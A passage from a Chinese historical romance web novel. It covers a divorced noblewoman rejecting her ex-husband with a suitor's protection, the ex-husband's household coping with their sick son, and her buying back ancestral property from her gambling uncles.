秦休僵在原地,许久之后他径直地大步上前,抬手握住姜清宁的手腕,将她猛地拽进怀里紧紧抱住。 “姜清宁,我们还没有试过,你又如何说我们之间不合适?” 秦休声音颤抖,充满了破碎,“你这样对我不公平的,姜清宁,你对我并非全无好感,是吗?” 这句话虽然是疑问,但却被秦休问出了肯定的语气,姜清宁背脊微顿,眉眼中的隐忍中夹杂着抉择。 她长长的叹了口气,抬手想要将人推开,却发现秦休的力气竟然那么大,分明没有弄疼她却让她同时无法逃脱出去。 “秦大人,你不该勉强。”姜清宁低声喝道,企图让秦休清醒过来。 不远处的巷口,青之好奇秦休为何还没有过来,他悄咪咪的转身看去,在下一刻险些被惊掉下巴。 青冥眼尾见到他侧身望去,没好气地开口提醒:“别怪我没有告知你,要是大人知道你做出这幅模样,小心待会儿到了府衙又领了麻烦的差使,到时候不要找我哭诉求帮助。” 青冥轻嗤一声,对于青之每次被罚,都找他帮忙一起办差的行经,心中非常的不屑一顾。 要不是打小的兄弟,他真想把这人直接扔出大理寺。 青之抬手猛地抹了把脸,再定睛一看,却发现依旧是方才看到的那副场景,他伸手掐了下青冥。 “啊!你干什么啊!”青冥被这用尽全力的一下,掐得疼的直接原地起跳,他用手搓着胳膊缓了许久,而后皱眉看向青之。 眼中熊熊燃烧起来的怒火无法忽视,他上手掐着青之的耳朵,压制着怒声道:“你干什么啊!不知道这样真的很疼吗?” 青之依旧是呆呆傻傻的模样,在青冥疑惑的目光中,青之抬手指了指不远处,示意青冥去看。 青冥怀着满腹的疑惑,转头看去,却在下一刻目瞪口呆,难以相信他亲眼所见到的场景。 这到底是什么啊,他真的没有看错吗? 那个抱着姜家大小姐的放荡男子,竟然是他家风光霁月的大人? “还敢看呢,小心大人看到了把你永久发配到岭南办差!索性每年都要有人去几趟岭南送东西!” 青冥拧着青之的耳朵,强硬地拽着他转回身。 …… 姜清宁挣扎无果,只能任由秦休抱着,她无奈地开口:“合不合适虽然并非我一言能够决定的,但是我作为当事人之一,自然是有条件决定自己的想法。” “我承认秦大人对我很好,并且我的心里对秦大人已经产生好感,但是这种好感莫过于感激居多,秦大人要是想要别的情感,只能恕清宁无可奈何。” “人在年少时都会遇到喜欢的人,我也不例外,可这份喜欢又能坚持多久呢?” 姜清宁轻笑一声,似乎在嘲讽自己曾经的单纯。 好在她如今已经走出来了,现在需要帮另一个陷进去的人走出来。 “秦大人需要足够的清醒,有时候人与人之间友谊更能走得长久,我们或许可以做至交好友。”姜清宁尝试着劝解。 秦休鼻息间萦绕着姜清宁身上的玫瑰冷香,他听着姜清宁的话,怀抱的动作却是更紧了些。 “姜清宁,这话你说出来自己会相信吗?”秦休失笑,无奈地摇头。 他对姜清宁的喜欢不是一朝一夕促成的,虽然有当年的一见钟情,但是更有日日想要相见到的仰慕之情。 日复一日年复一年,早已经形成无法解禁的牢。 “未经他人苦,莫劝他人善。” “秦大人有自己的想法,但我也有自己的坚守。” 二人僵持着,不远处传来一声震惊的低喝:“你们在干什么?” 第六十三章悔之晚矣的贱男人 姜清宁听着熟悉的男声,背脊微微一僵。 她抬手推开秦休,双眸不悦地看向声音的来源处。 秦休被心上人推开,心中的明明感觉到姜清宁已经在犹豫,他刚要开始发力,结果这一切都被来人破坏了。 荀臣面色难看地望着眼前的一幕,满心满眼的不可置信。 “安平伯,不知道安平伯登门宁阁,可是有何事要商谈?” 姜清宁淡漠地扯了扯嘴角,声音平稳地扯开话题,丝毫不想听他的废话的模样。 荀臣大步上前,站在姜清宁的面前,气的心跳起伏不定,抬手就要抓住她的手腕开口质问。 “姜清宁,你……” 姜清宁敏锐地察觉到他的动作,后退一大步,神情之中满是防备的意味。 与此同时,秦休飞快地握住荀臣的手腕,挡在姜清宁的面前,冷漠地直视着他。 “没看到她不愿意让你触碰吗?” “秦世子这是何意,这如今是本官和姜清宁之间的私事,难不成秦世子也要插入其中吗?” 荀臣脸色阴沉至极,恨不得将眼前的人除之而后快。 他根本没想到自己和姜清宁才和离一月多的时间,就已经被秦休偷了家。 外表风光霁月的权贵,背地里竟然如此的阴险奸诈! 秦休毫不退让,大掌不由分说地加重了力道,荀臣手腕产生巨大的疼痛,让他心中狠狠地惊骇住。 让他一个武将都无法挣脱的力道,秦休到底有多么厉害? 荀臣不敢想这背后,秦休隐藏的真正实力,怪不得这人能够上战场杀敌,他曾经还以为只是秦国公府对他的吹嘘,皇上因为他是贵妃娘娘的亲弟弟才会将其送到战场镀金。 如今看来,他曾经最不屑的权贵子弟,如今爬到这样的位置,恐怕全部都是秦休的真正实力。 这让自傲的荀臣无法接受,心底产生强烈的落差感。 “我说了,你没看到她不愿意吗?更何况你们只是早就和离的陌生人,哪来的私事要解决?” 秦休黑眸深沉,眼底释放出浓重的威压,引得荀臣额头冒出冷汗,一直时间竟然真的僵在原地。 “秦大人说得对,我和安平伯并无私事要谈,安平伯往后若是有事,还请派府中下人前来送上拜帖。” “不然宁阁的大门不开,我不想见你,只会让安平伯白白跑这一趟。” 姜清宁走到秦休的身旁,淡漠地望着荀臣,说出心底的实话。 荀臣背脊心中惊愕。 他诧异的望着姜清宁,“姜清宁,你就是如此的狠心,想要与我彻底断了瓜葛?” 姜清宁抬眸:“你说错了,自从和离的那一天开始,我就已经与你断了瓜葛,根本不存在如今想不想的问题。” “我们之间,早就没了关系。” 荀臣心脏处猛地一疼,他低声质问:“即便是母亲要为我再娶一门继妻,你都毫不在意?” 姜清宁坚定回答:“没错。” “即便是莫离哭着喊着需要娘亲,即便是他生病了想要见你,你都不愿意再相见吗?” “没错,所以你往后,不用再因莫离的事情,来找我了。” “你娶了继妻,莫离就是她的孩子,我最后交给他的道理,全靠他自己去领悟。” “作为母亲,我做的教的已经足够多了。” 好一句做得已经够多了,荀臣狠狠咬牙,在他的心里,只要荀莫离是姜清宁所出,他就永远都是姜清宁的孩子。 两个人此生无法分割,姜清宁更无法逃离他的身边与掌控。 荀臣此刻怒火中烧,被姜清宁眼中的淡漠与厌恶撕碎自尊,他抬手猛地拽下腰间一直悬挂着的玉佩,手中稍微一用力,碎裂声尖锐地划破凝滞的空气,像一把冰锥狠狠扎进姜清宁的耳膜。 姜清宁眉头微蹙,垂下披风下的双手不自觉地微微握紧,带着难以言喻的沉重,而后竟然是松了口气一般的解脱之情。 荀臣掌心摊开,那枚曾被他贴身珍藏多年的青鸾衔芝玉佩,此刻已化作几片失去光泽的残骸,狼狈地散落在冷硬的石阶上。 他死死盯着她,眼里的风暴几乎要将人吞噬,声音却像从齿缝里生生磨出来,带着一种濒临崩溃的嘶哑: “姜清宁……好!你狠!连莫离、连莫离你都能弃之不顾!我今日才算真正看透你!” 荀臣说出的每一个字都淬着毒,裹着被彻底拒绝后的狂怒和绝望。 “你早该意识到此事。”姜清宁背脊挺得笔直,如同一株风雪中绝不折腰的寒竹。 方才那一瞬玉佩碎裂的声音,确实在她心头激起了短暂的、尖锐的刺痛,如同被无形的针狠狠扎了一下。 那是她少女情怀的见证,是曾经交付出去的真心,如今被它的主人亲手摔得粉碎。 然而这痛楚只存在了短短一息,就被更汹涌的冰寒覆盖、冻结。 姜清宁甚至没有低头去看那些碎片一眼,目光平静地掠过荀臣因愤怒而扭曲的脸,那里正一涌的震惊、痛苦、以及一丝不易察觉的恐慌,在她眼中都显得如此可笑。 曾经多少个日夜,她为这张脸上的冷漠或烦躁而辗转反侧,如今,竟激不起她心中半分涟漪。 “安平伯此言差矣。”她的声音平稳得没有一丝波纹,像深秋结了薄冰的湖面。 “弃’之一字,从何谈起?莫离是你荀家的嫡长孙,自有他的祖母、父亲,以及你即将迎娶的继室夫人精心照料。” “我不过是一个早已出局的外人,何来资格谈‘弃’?安平伯若是无事就请回吧,莫要失了体统,在宁阁门前徒惹人笑。” “体统?笑柄?”荀臣像是被她话语里的冰冷彻底激疯,猛地向前一步,染着红血丝的双眼几乎要瞪裂,“姜清宁,你的心是石头做的吗?那是我和你的儿子,他身上流着你的血,你就真的能……真的把他丢给一个不知根底的女人?你就真的一丝一毫都不再念着他了?” 他的嘶吼在宁阁的门外回荡,带着一种歇斯底里的悲怆。 直到此刻,荀臣为自己方才的举动,产生了深深的后悔之情,他后悔方才那么冲动的,就将两人之间仅剩的牵挂悔去。 多年夫妻,姜清宁自然懂他的意思,只是清冷地道了句:“悔之晚矣。” 荀臣后悔又如何,她这么多年从未亏欠过安平伯府,亏欠过荀臣,这一切都是他自讨苦吃。 第六十四章君若无情我便休 荀臣无法理解,那个曾经会因莫离一声咳嗽就彻夜守候、会为他一点小小的关切而欣喜落泪的姜清宁,怎么会变成眼前这个冷硬如铁、言语如刀的女人? 就在这时,不容置喙的力道稳稳落在姜清宁单薄的肩头,秦休高大的身影无声地向前一步,彻底将她挡在自己身后,隔断了荀臣那几乎要吃人的目光。 他并未看荀臣一眼,只微微侧头,低沉的声音清晰地传入姜清宁耳中,带着一种安抚人心的力量:“风大,站在我身后,仔细着凉。” 他的动作自然流畅,仿佛只是做了一件再寻常不过的事。 这旁若无人的关切,如同一桶滚油,猛地浇在荀臣熊熊燃烧的怒火之上。 他只觉得一股腥甜直冲喉头,眼前阵阵发黑。 秦休!又是秦休!这个道貌岸然的小人! “秦休!”荀臣的拳头捏得咯咯作响,额角青筋暴跳,“我与她说话,轮得到你在此惺惺作态?” 他所有的理智在这一刻彻底焚烧殆尽,只剩下被彻底剥夺、被狠狠羞辱的狂怒。 秦休这才缓缓转回视线,眸光沉静如古井深潭,却蕴含着令人窒息的压迫感。 他并未动怒,只是唇角勾起一抹极淡、近乎于无的弧度,那弧度里没有温度,只有一种居高临下的漠然:“安平伯,宁阁的门槛虽不高,但也不是供人随意咆哮撒野之地,清宁的话方才已说得足够清楚。” 他微微一顿,目光扫过地上那几片刺目的玉佩碎片,语气平缓却字字如重锤:“若安平伯执意在此纠缠不休,惊扰了府中主人清净,休怪我代主人家,行一些不太体面的逐客之礼了。” “逐客?你凭什么!”荀臣目眦欲裂,胸中气血翻涌,几乎要冲破喉咙。 他猛地抬手指向秦休身后沉默的姜清宁,“就凭你仗着秦国公府的权势,迷惑了她?秦休!你个道貌岸然的伪君子!” 话音未落,不远处巷口站着的两道人影消失不见,随即荀臣的面前猛地一黑,倏地闪出两道矫健如猎豹的身影。 动作快得只留下两道模糊的残影,一左一右,如同铁钳般瞬间锁住了荀臣欲指向姜清宁和秦休的手臂。 那力道精准而强悍,瞬间截断了他所有的动作和一尽的咆哮。 荀臣瞳孔骤缩,身为武将的本能让他下意识地沉腰发力,试图挣脱。 然而,那钳制在他臂膀上的力量,却如同生了根的铁铸一般纹丝不动,非但如此,一股尖锐的刺痛感顺着被锁死的筋脉猛地窜起,直冲大脑,让他闷哼一声,额上瞬间渗出细密的冷汗。 这两名侍卫虽然其貌不扬,气息却沉凝如渊,绝非普通护院笑死!秦休这厮身边竟然跟着如此高手! 这个认知像冰冷的毒蛇,瞬间缠绕上荀臣的心脏,带来一阵窒息般的寒意和更深的屈辱。 “安平伯,这不是你能撒野的地方。”秦休的声音依旧平静无波,仿佛只是在陈述一个事实,“请安平伯自重。“ “好……好得很!秦休!姜清宁!你们……” 荀臣的脸由赤红转为惨白,再由惨白涌上屈辱的猪肝色。 手臂被制的剧痛,和那两名侍卫身上散发出的、属于真正沙场喋血过的冰冷煞气,让他满腔的狂怒像被戳破的皮球,在绝对的武力压制下,只剩下狼狈的呜咽。 他死死咬着牙关,牙龈几乎渗出血来,目光怨毒如淬毒的刀,狠狠剜过秦休,最终落在姜清宁那张无波无澜的脸上。 那眼神,复杂得令人心惊——有滔天的恨意,有被背叛的绝望,有无法置信的茫然更深处,还藏着一丝连他自己都未曾察觉的、摇摇欲坠的恐慌。 他猛地一挣,用尽全身力气甩开侍卫的钳制,跟跄着后退一步。 手臂上传来的剧痛让他整条手臂都在微微颤抖,他不再看任何人,猛地转身,几乎是逃也似的冲下台阶脚步沉重而凌乱,每一步都踏得石阶闷响,泄露出主人内心山崩地裂般的动荡。 经过那堆碎玉时,他脚步没有丝毫停顿,甚至带着一种自虐般的决绝,一脚狠狠踏了上去!坚硬的皂靴底碾过脆弱的玉石,发出令人牙酸的细碎摩擦声。 “荀臣!你在做什么!”一声苍老慌乱的妇人厉喝,骤然从不远处传来。 安平伯老夫人在丫鬟婆子的簇拥下快步走下马车,她显然是听到了府中下人的通禀后匆匆赶来。 苍老的脸上此刻布满了惊怒和难以置信,目光先是扫过地上被踩得更碎的玉佩,随即眼神猛地钉在儿子仓皇狼狈的背影上。 “你、你这是做什么?疯魔了不成!”安平伯老夫人气得浑身发抖,指着荀臣的背影,声音发颤。 她转头看向姜清宁,眼神复杂难辨:“姜清宁,你难不成还不愿意放过我儿子吗?我们安平伯府到底哪里对不起你了,换做寻常人家谁愿意留你八年!还让你把嫁妆尽数带走!” 姜清宁冷笑一声,声音依旧疏离:“安平伯老夫人,若是想要指认罪证,也要搞清楚现状吧,是你的儿子在我这里出言不逊,并且想要对我出手被家丁制止。” “他荀臣在宁阁的门前撒野,怎么反倒成了我姜清宁的不是,难不成是我哄着他骗着他来的?君若无情我便休,我与他早就和离互不相干!” “即便我今日就算是嫁人,都不关安平伯的事,安平伯老夫人若是想要为他择娶一门贤妻,还是要尽快的好,否则荀莫离生病了,还要为难他的亲生父亲,跑到我这个前母亲的面前问罪发威!” 荀母一噎,看着姜清宁那双清冷的不带一丝柔情的眼眸,所有准备好的责怪话语都堵在了喉咙里。 她最终也只是深深地、复杂地看了姜清宁一眼,又扫过她身旁如守护神般站立的秦休,她记得这人是秦国公府的世子爷,是他们安平伯府惹不起的存在。 安平伯老夫人隐忍了半晌,终究是在婆子的搀扶下转身,步履沉重地离去。 一场闹剧,终于落下帷幕。 宁阁门前,只剩下满地狼藉的碎玉,无声地诉说着方才的激烈。 肩上的披风传来温暖的包裹感,驱散了春晨凉风夹杂着带来的寒意。 秦休低沉的声音在头顶响起,带着一种安抚人心的沉稳:“姜清宁,可还好?” 第六十五章纵容自己的心 姜清宁回神,心中错愕,眼神不自觉朝着他身上看去。 秦休身形高大,往这一站,就是满满的安全感,方才有他在前,她的心里竟然是什么都不怕了。 这种直觉来得非常不好,姜清宁后退一步避开道:“既然事情已经解决,就不劳烦秦大人继续费心了,我有些疲惫就先行回去休息了。” 她行之一礼,转身要走。 “等一等,我有个东西要给你。”秦休喊她,声音认真。 姜清宁一顿,心中下意识地想要疏远他,于是转身行礼道:“我觉得不好,秦大人还是不要如此客气了。” 秦休从袖中掏出一张文书,展开递到她的面前:“即便是这,你也不要吗?” 姜清宁视线落到文书上面,眉眼中的不耐被惊愕所取代。 文书上门赫然写着她家小妹姜清晞的名字,其中户籍生平经历皆写得清楚,当年遭受贬谪的是父兄,母亲和小妹本就是自愿去跟随,属于无罪之人。 “你……什么时候知道的?”姜清宁敛眸,淡漠地询问。 “事发当夜,宁阁之外。”秦休老老实实的回答,他将姜清宁的神情映入眼底,眉眼间尽是宠溺的神情。 “当日你表现得非常好,但是我办案多年,对此早已见怪不怪,故而察觉到。” “况且京城之中,除去姜家人,应当没人对荀臣那么大的仇恨了。” 姜清宁心底发紧,她哑声问:“你调查我了?” 秦休颔首:“派青冥查了当日入城的情况,猜测是姜家小妹入京,她年纪小,曾经就记得小妹性格热烈张扬,疾恶如仇,如此性情中人,自然是见不得嫡亲阿姐吃苦的。” 姜清宁鼻尖酸涩,她侧眸收回视线,忍了片刻,抬眸看他:“你是何时去的岭南,为何小妹从未见到过你?” “秦休,我应当相信你吗?” 秦休握住她的手,顺势将其摊开,把文书放到她的手中,神色认真道:“姜清宁,你可以相信我。” “我曾经去岭南之时,小妹年龄尚小,伯父伯母与兄长并未让她出来,此事你可去信岭南询问,他们不会隐瞒的。” 面前人诚恳的话语引得姜清宁瞪眼,岭南一去五千里,快马都要跑一个月,回来再一个月,这人不会不清楚。 等她问完这件事,信封传到手中之时,恐怕早已经过去两月甚至更久,这家伙打着的算盘几乎宁阁之中人尽皆知。 没准到时候她都…… “文书一事是要多谢秦大人,他日清宁必定有重谢相赠,大人慢走不送。” 姜清宁抬步后退,转身毫不犹豫地回到府中,她在心中竖起一道高高的城墙,将二人间的距离隔开来。 秦休站在原地,宁阁的大门缓缓关上,直到他在看不清其中的身影。 “大人,咱们还要去府衙吗?” 青之小心翼翼的询问,将秦休的思绪拽回来,他抬步朝着台阶下走去,路过那碎掉的青玉。 他径直踩上去,发出碎玉摩擦地面的声音,玉碎比覆水更难收,引得秦休嗤笑一声。 荀臣再也没机会,而他秦休不一定真的彻底没机会。 后院。 姜清宁在一众揶揄的视线之中,缓步走到她们的面前,抬手将袖中的文书递给姜清晞。 “这是什么……文书?身份文书!阿姐你从哪里搞到的?” 姜清晞茫然地接过,随后声音诧异,震惊地喊出声,这可是阻挡她出城的东西。 当日混迹入城已实属不易,如今她待在宁阁,更不想给姜清宁惹事,故而一直忍着从未出城。 “秦休给的,他当日就猜到是你来了。” 姜清宁抬步走入房门,坐在圆桌前冷静的回答,紫苏上前为她倒了杯热茶。 温热的杯身放入手中,驱赶了方才寒风带来的寒凉。 姜清宁垂眸望着身上的青色披风,上面绣着繁复的竹纹,摆处点缀着金线,彰显出衣着的华贵。 秦休穿着这件衣服,是非常好看的,姜清宁心中想着。 她回忆起他刚才的模样,隐隐有些触动,秦休自出现在她的世界里,便是一直都在帮她护她。 可她好像就是,没有了心动的感觉? 张嬷嬷看出姜清宁的纠结,用早膳将姜清晞和紫苏支走。 “大小姐可是在为难?” 张嬷嬷脸上满是慈祥,她怜爱地望着姜清宁,长长地叹了一口气:“其实您不用为难的,秦世子心悦您,那是他的事情,您若是不喜欢远离就是了,为何要为难呢?” 姜清宁一僵,她轻声解释:“秦国公府是上京城鼎赫的权贵人家,嬷嬷……我……我和他不相配。” 这话吐出的迟疑,似乎是想要提醒自己,和那人的距离一般。 “可大小姐,你有没有想过,或许秦世子不这么想,秦国公府也不这么想?” 张嬷嬷望着眼前在商场上叱咤风云,但遇到感情之事,下意识由着本心抵触,不愿承认自己真心的人。 她悠悠地叹气,她家小姐这是在安平伯府受到了太多的伤害,故而鼓起勇气和离,走出那个沼泽污泥深处,可实际上受到过的侮辱终生都会刻在骨子里。 “您对这事迟疑,不就是对秦世子有了改观吗?或许,他应该能够走进您的心里也不一定。” 张嬷嬷意味深长地开口,门外丫鬟端着梳洗的热水来。 她上前为姜清宁解开披风,姜清宁顺势起身,眼神略过披风离开身体的刹那间忍不住颤了颤,近距离将这尽收眼底的张嬷嬷脸上露出了然的笑容。 “明日还要见姜家的那两方,您应该先养足精神以待明日应敌才是,您其余的就不要先想了。” “奴婢伺候您梳洗,大小姐一夜未眠,应当好好睡一觉,没准醒来之后啊,一切问题都会迎刃而解。” …… 姜清宁躺在轻纱幔帐之下,张嬷嬷将最后的纱帘放下,周围昏暗下来,她望着帐顶,抬手抚摸上心口。 那处,正带着紧张的感觉,一砰一砰地跳着。 姜清宁闭上双眼,将一切的思绪挥散,脑海中放空,身体上的疲惫涌上。 片刻之后,进入深深的睡眠之中。 第六十六章心机深沉的女人 安平伯府。 人仰马翻,下人们人心慌乱,纷纷警醒地行走于府邸之中。 府中一座院落之中。 荀臣面色阴沉的坐在外间,房内传来哼哼唧唧的哭喊声,奴婢们跪在地上,个个面色惨白的骇人。 “你们都是怎么照顾大公子的,莫离能够因为失足落水,全部都是你们看管不周!” “伯爷饶命,伯爷饶命啊!” 安平伯老夫人坐在一旁,满是皱纹的脸上此刻更是难看,她自从一月前发生那事之后,对荀莫离便上了些心。 荀莫离身材照料的丫鬟婆子都各增了两人,日日都有人向她汇报这个嫡亲孙子的一日三餐,以及书课作业,可昨日意外还是发生了。 荀莫离想要喂鱼,在后花园的池边等候小厮去拿鱼食,丫鬟婆子们竟然纵容他自己去玩,她们则是回到院子里忙别的。 不过是取个鱼食的功夫,小厮回来就见到荀莫离在水中扑腾,身边一个照料的下人都没有,安平伯老夫人想到儿子之前的态度顿时发落了好一通人。 可荀莫离虽然是被救上来了,但因落水受惊引发高烧,连续一天一夜都在闹人,其中没有一个人敢合眼休息。 因为荀臣一直守着,听荀莫离哭喊了一整夜的娘亲。 “娘亲……娘亲……呜呜呜……我要娘亲……” 荀莫离小脸烧得通红,大夫在一旁把脉,他挣扎着不愿意被触碰,几个丫鬟摁着才能让大夫摸上脉。 荀莫离不停地哭喊着,泪眼朦胧的模样,哭得周围人心中纷纷不忍。 “老身亲自去请姜清宁,我倒要看看她还能真的不管自己的亲生儿子不成!” 安平伯老夫人在这压抑沉闷的氛围中坐不下,她拄着拐杖起身,怒气冲冲地朝着门外走去。 荀臣站起身,大步走到荀莫离的床边,熬了一宿的眼球布满红血丝。 荀莫离撇见人影,潜意识里认出亲生父亲,他挣扎着向荀臣伸手:“爹爹……莫离要娘亲……” “哎呀!这都是什么事啊,我早说了要让你早些娶妻,可你见了那么多都不喜欢,若是在其中择选一位成婚,莫离至于如今连个娘亲都没有吗?” 安平伯老夫人心中满是怒气,她走到荀臣的身后,拐杖在地面敲击出繁杂的噪音。 “荀莫离。”荀臣低声唤他,止住荀莫离的哭诉,“你不要再喊娘亲了,姜清宁已经不要你了,你无论如何哭喊,她从此以后都不会回来了。” “姜清宁是个狠心的女人,她说不要我们就不要我们了。” 荀莫离听着他这话,烧得浑浊的大脑转了一圈,在逐字的认知分析过后,他哇的一声哭了起来,声音嘶哑让人心疼。 “砰!”安平伯老夫人一拐杖敲到荀臣的后背,对其怒骂道:“你这是什么恶毒的话,孩子还病着,你就不能顺着他吗?” 荀臣硬生生受了这一下,他转身望着母亲,眉眼淡漠,语气阴寒: “母亲,一味的纵容才是毁坏孩子的根基,等莫离好之后,我会让他搬到我的院子去住,往后由我亲自教导。” “表哥!莫离还是个孩子,无论姜清宁说了什么,你都不该在孩子面前如此说啊!” 白清漪在小桃的搀扶下,跌跌撞撞地扶着门框现身,她催促小桃快将自己扶到床边。 在荀臣和老夫人的注视下,扑到床边连声哄着莫离,大夫把完脉推开,起身对荀臣行礼。 “莫离如何了?” “回安平伯,小公子年幼,此次落水惊惧高烧,心中的阴影挥散不去,自然是苦恼之中让体温高热不下,我这边留一个方子,再找小公子亲近的人多哄着。” “如此用不了几日,便能好转许多。” 老夫人望着白清漪心疼地搂着莫离安慰的场景,心中却怎么看怎么觉得别扭,偏生莫离因为躺进她的怀里之后,没多久就逐渐安静了下来。 “白清漪,谁准你出的院落?” 老夫人盯着虚伪的一幕,声音阴沉地发问。 这一月多以来,她可是派人日日盯着白清漪,就为了防止她走出院子,今日一时失察,竟然还真的被她跑了出来。 白清漪哀戚的回头,眼眶发热,怀中紧紧抱着荀莫离。 她哀求道:“姨母,我没有别的心思,也不是在装可怜,莫离是我看着长大的孩子,如今他生病我心里难受得紧。” “求姨母让我照料到莫离病愈吧,只要莫离病好了,我一定即刻搬出安平伯府!” “说了不许就是不许,莫离是我安平伯府唯一的嫡孙,自然有亲近的丫鬟婆子照料,怎敢劳烦白家的大小姐屈尊!” “够了!”荀臣底呵一声,制止两人的对衡。 “表妹,荀臣这些时日就要辛苦你照料了,母亲明日派人为表妹做几身衣衫,打两副首饰,五日后的家宴表妹一同参与,我会为表妹择选一门好的婆家。” 荀臣语气冰冷地说完,扫过白清漪怔愣悲伤的神情,老夫人错愕一瞬但即刻惊喜的面色,都没有逃过他的注视。 白清漪脸色逐渐发白,计策再次落空,让她的眼底隐隐浮上阴鸷,心中的不耐逐渐达到顶峰。 “莫离别怕,别怕……姨姨在呢。” 荀莫离哼唧一声,白清漪连忙回神,轻轻地拍着他的身体,将人哄睡。 她这辈子已经不能生了,但表哥一定是要嫁的,荀莫离她只利用这一次,往后一定会将他当成亲生儿子般照料。 荀臣沉沉地望了眼白清漪怜惜儿子的模样,心中隐隐有了触动,想到姜清宁绝情的嘴脸,他冷哼一声转身离去。 安平伯老夫人走到白清漪的身后,望着她关心的模样,狐疑逐渐消散,或许只是她看错了也不一定。 白清漪到底是宠爱孩子的,又怎么会用莫离当做把柄呢? 她转身快步追上荀臣的身影,今日事发突然,决不能让荀臣再对姜清宁难以忘怀,她必须将儿媳彻底的定下来。 “臣儿,五日后的宴席,你可做好了准备?” 荀臣顿了顿,冷声道:“不过是相看的借口罢了,一切都交由母亲做决定。” 第六十七章成功到手 今日本歇店闭业的恒通当铺厚重的门轴大开,午后的光线挤进门缝,切出几道斜斜的光柱。 姜清宁踏了进来,鸦青色的帷帽垂纱直覆到胸口,将她的身形和面容都严严实实包裹在一片暗色之中。 她身后左右各跟着张嬷嬷和紫苏,三人今日来的意味非常明显,刘掌柜作为见证官今日也在场,他和戴着帷帽的三人暗自示意。 身后传来一阵脚步声,刘掌柜脸上堆满了谄媚的笑纹,目光越过姜清宁,热切地投向门口随后进来的两位男人。 “哎哟,二爷、三爷!您二位可算是来了!”刘掌柜的声音拔高了调子,像浸了蜜的刀子,又甜又利,“东西都给您备得妥妥当当,就等您二位过目、落印了!” 他搓着手,快步绕过柜台迎上前,对着随后进来的姜柏舟和姜松岩点头哈腰,随后请着他们进入后厢。 姜柏舟一身半新不旧的锦缎袍子,脚步虚浮,眼神浑浊,带着宿醉未醒的恹恹之气。 姜松岩同样一副被酒色掏空了身子的模样,眼袋浮肿,脸上却透着一股病态的亢奋红晕。 两人对刘掌柜的殷勤视若无睹,目光扫过昏暗的铺面,带着一种债主即将登门前的焦灼与不耐,最后才落在柜台前那个几乎与阴影融为一体的纤细身影上. “你们东家人呢?”姜柏舟问,嗓音沙哑不已。 “在呢在呢!”刘掌柜忙不迭地指着进门的姜清宁,“这位就是我们的上官东家!银票都带来了,爽利人!” 姜柏舟的目光在姜清宁身上扫了一圈,那厚重的帷帽遮住了所有特征,只留一片拒人千里的暗影。 他鼻腔里嗤出一声轻蔑的冷哼,对着姜松岩撇撇嘴:“装神弄鬼,管他是谁,有钱就成!赶紧的,老子还等着银子去翻本呢!” 他语气烦躁,手指无意识地搓捻着,透出骨子里的赌徒焦躁。 “是是是,姜二爷说的是!”刘掌柜连连应声引着姜柏舟和姜松岩走内侧特意摆好的一方案几。 案上,摊开着几份墨迹淋漓的契约文书。 “东家,您请这边落座。”刘掌柜转回身,对着姜清宁时,腰弯得更低了些,脸上挤着十二分的恭敬,小心翼翼地引她到主位坐下。 姜清宁无声地坐下,垂落的帷帽轻纱纹丝不动,隔绝了内外。 她伸出带着薄薄丝质手套的手,动作平稳地从紫苏捧着的锦匣中取出一枚小巧精致的象牙印章。 那印章在昏暗的光线下泛着温润细腻的光泽,印纽雕刻着瑞兽,线条古拙流畅。她的指尖拂过冰凉的印纽,没有丝毫迟疑。 “啪嗒。” 象牙印章稳稳地落在契约文书预留的朱砂印泥上,发出轻微而清晰的声响。 接着,又是一声轻响,印章清晰地盖在了契约未页,鲜红的印泥在泛黄的纸张上格外刺眼,像是凝固的血点。 “成了!”刘掌柜脸上的褶子瞬间堆叠如菊,声音里的喜气几乎要满溢出来,“恭喜东家,从此刻起,城西那三间绸缎庄、城外那三百亩上好的水田,还有东街的两间铺面,就都是您的产业了!” 他一边说着,一边麻利地拿起那份签押完毕、墨迹印泥犹新的契约,吹了吹未干的印迹,然后双手捧着,躬身递向姜清宁,姿态谦卑到了极点。 同时刘掌柜的心里唏嘘不已,这么能生钱的绸缎庄还有水田、铺面等,也就这是姜家的二房三房没个会经营的人。 否则这样的好铺面丢出来,他不怕姜家老祖宗从棺材板里面爬出来,扑上来责打这些个不肖子孙,好在最后到了东家的手上。 三间绸缎庄、两间铺面、三百亩上好的水田,加起来两万两的银票,这两人竟然能够欠下这么多的赌债。 姜清宁没有立刻去接。 “东家?”刘掌柜捧着契约,腰弯得久了,额角渗出一层细密的汗珠,脸上的笑容也僵硬了几分。 铺子里骤然安静下来,只剩下姜柏舟粗重的呼吸和姜松岩手指无意识敲击案几的哒哒声,那声音敲在人心上,带着一种令人窒息的烦躁。 那厚重的帷帽,像一片隔绝生死的幕布,终于被一只素白的手缓缓掀开。 轻纱沿着帽檐滑落,先是露出一段莹白如玉、线条优美的下颌,接着是紧抿的、唇色红润的唇瓣。 当轻纱完全褪至姜清宁肩头,一张绝美的脸彻底暴露在当铺昏黄的光线之下时,时间仿佛被按下了暂停键。 空气凝固,这是一张极其年轻的脸,眉如远山,笼着一层化不开的寒霜,她的肌肤冷白,像上好的瓷器不见血色,唯有一双眸子黑得惊人,此刻正毫无温度地扫过对面两张骤然失色的脸。 “哐当!” 姜松岩手中把玩的一个铜制小玩意儿失手砸在案几上,一声刺耳的脆响,打破了死寂。 他像见了鬼魅般猛地向后一仰,脊背重重撞在椅背上,椅子腿与粗糙的青砖地面摩擦发出“吱嘎”声。 他瞪圆浮肿的双眼,眼白布满血丝,嘴巴张得老嘴巴张得老大,喉咙里发出“嗬嗬”的抽气声,却一个字也吐不出来。 姜柏舟脸上的血色瞬间褪得干干净净,惨白如金纸。 他死死盯着那张脸,浑浊的眼珠几乎要从眼眶里凸出来,手指痉挛般抠着桌面,指甲刮擦着木头,像是被抽掉了骨头,整个人瘫软在椅子里,只有胸膛在剧烈地起伏。 “姜……姜清宁?”姜柏舟带着无法置信的惊骇。 “二伯好像很不想见到我一样?是觉得我现在应该被赶出京城,在荒郊野岭苟延残喘吗?” 姜清宁平静地接过他未能说完的话,声音不高,却清晰地穿透死寂的空气,每一个字都像淬冰的针扎进对面两人的耳膜。 她伸出手,姿态从容地从刘掌柜僵在半空的手中,抽走那张薄薄的、承载着姜家祖产的契约文书。 姜清宁微微垂眸,目光落在纸张上那些代表着一份份被变卖祖产的墨字上。 第六十八章新仇旧怨结下 她的指尖缓缓拂过那些冰冷的字体——三间绸缎庄、三百亩水田、两间铺面…… 每一个都曾是姜家先祖先们积累下的根基,如今却成眼前这两个赌徒囊中肮脏的银钱。 